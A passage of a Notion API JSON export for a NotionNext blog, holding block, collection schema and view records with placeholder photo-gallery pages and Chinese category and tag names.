-9a23-f687b0046e4d","parent_table":"block","alive":true,"copied_from":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903"}},"a0318786-f5d2-4a58-8ccc-9d56bbe6b155":{"value":{"id":"a0318786-f5d2-4a58-8ccc-9d56bbe6b155","type":"text","properties":{"title":[["内容可以多级嵌套"]]},"format":{"copied_from_pointer":{"id":"d4b91a6a-beae-488c-816a-b9f504b739fc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"43b0eea5-af0c-4e07-a769-c247b1a00029","parent_table":"block","alive":true,"copied_from":"d4b91a6a-beae-488c-816a-b9f504b739fc"}},"02f024a6-0fd0-4a05-b201-762f56287c1d":{"value":{"id":"02f024a6-0fd0-4a05-b201-762f56287c1d","type":"page","properties":{"YNJw":[["查看",[["a","https://preview.tangly1024.com/fc758ffac897479d9a7161cce3272520"]]]],"title":[["照片标题1"]]},"content":["797d2ded-5b17-45a2-a474-8a121fa12a3d"],"format":{"page_cover":"/images/page-cover/met_emanuel_leutze.jpg","copied_from_pointer":{"id":"fc758ffa-c897-479d-9a71-61cce3272520","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.7},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"fc758ffa-c897-479d-9a71-61cce3272520"}},"c7f423be-6c39-4b76-a750-e7d7d92161fd":{"value":{"id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","type":"page","properties":{"YNJw":[["https://tangly1024.com/",[["a","https://tangly1024.com/"]]]],"title":[["照片标题2"]]},"content":["198479d6-383d-4532-b0df-9c41bfaf66d8"],"format":{"page_cover":"/images/page-cover/woodcuts_5.jpg","copied_from_pointer":{"id":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d"}},"797d2ded-5b17-45a2-a474-8a121fa12a3d":{"value":{"id":"797d2ded-5b17-45a2-a474-8a121fa12a3d","type":"text","properties":{"title":[["这是照片内容详情"]]},"format":{"copied_from_pointer":{"id":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"02f024a6-0fd0-4a05-b201-762f56287c1d","parent_table":"block","alive":true,"copied_from":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef"}},"198479d6-383d-4532-b0df-9c41bfaf66d8":{"value":{"id":"198479d6-383d-4532-b0df-9c41bfaf66d8","type":"text","properties":{"title":[["这是照片详情的内容"]]},"format":{"copied_from_pointer":{"id":"ebff1c93-27e9-445d-876f-3967f072ec15","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","parent_table":"block","alive":true,"copied_from":"ebff1c93-27e9-445d-876f-3967f072ec15"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"7b11173d-8924-4a09-8897-50956378c0fc":{"value":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","version":1,"name":[["照片集"]],"schema":{"YNJw":{"name":"URL","type":"text"},"title":{"name":"Name","type":"title"}},"format":{"copied_from_pointer":{"id":"4aa08af5-4f04-45fa-ac44-84438e088ba8","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"collection_page_properties":[{"visible":true,"property":"YNJw"}]},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"copied_from":"4aa08af5-4f04-45fa-ac44-84438e088ba8","migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"4379bc14-5d22-453b-a153-12639616fc01":{"value":{"id":"4379bc14-5d22-453b-a153-12639616fc01","version":684,"name":[["Notion Blog"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"Config"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/6c096b44-beb9-48ee-8f92-1efdde47f3a3/29db38d2-d5fa-4fa6-8a92-3b527cfe80d1/favicon.svg","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"],"copied_from":"8e7acf17-de09-4fa1-abde-b5b80ad4a813","template_pages":["06f53161-8c9a-4e9c-8109-a8bd142a7b06"],"migrated":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3","deleted_schema":{"\u003eVd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`\u003c":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"value":{"id":"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a","version":1,"type":"gallery","name":"","format":{"table_wrap":true,"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":276,"visible":true,"property":"title"},{"visible":true,"property":"czdN"}],"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"gallery_cover_size":"large","gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"YNJw"}],"gallery_cover_aspect":"cover","hide_linked_collection_name":false},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"page_sort":["02f024a6-0fd0-4a05-b201-762f56287c1d","e415b262-f6fe-4a10-82fb-e3e3b8a43c9e","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc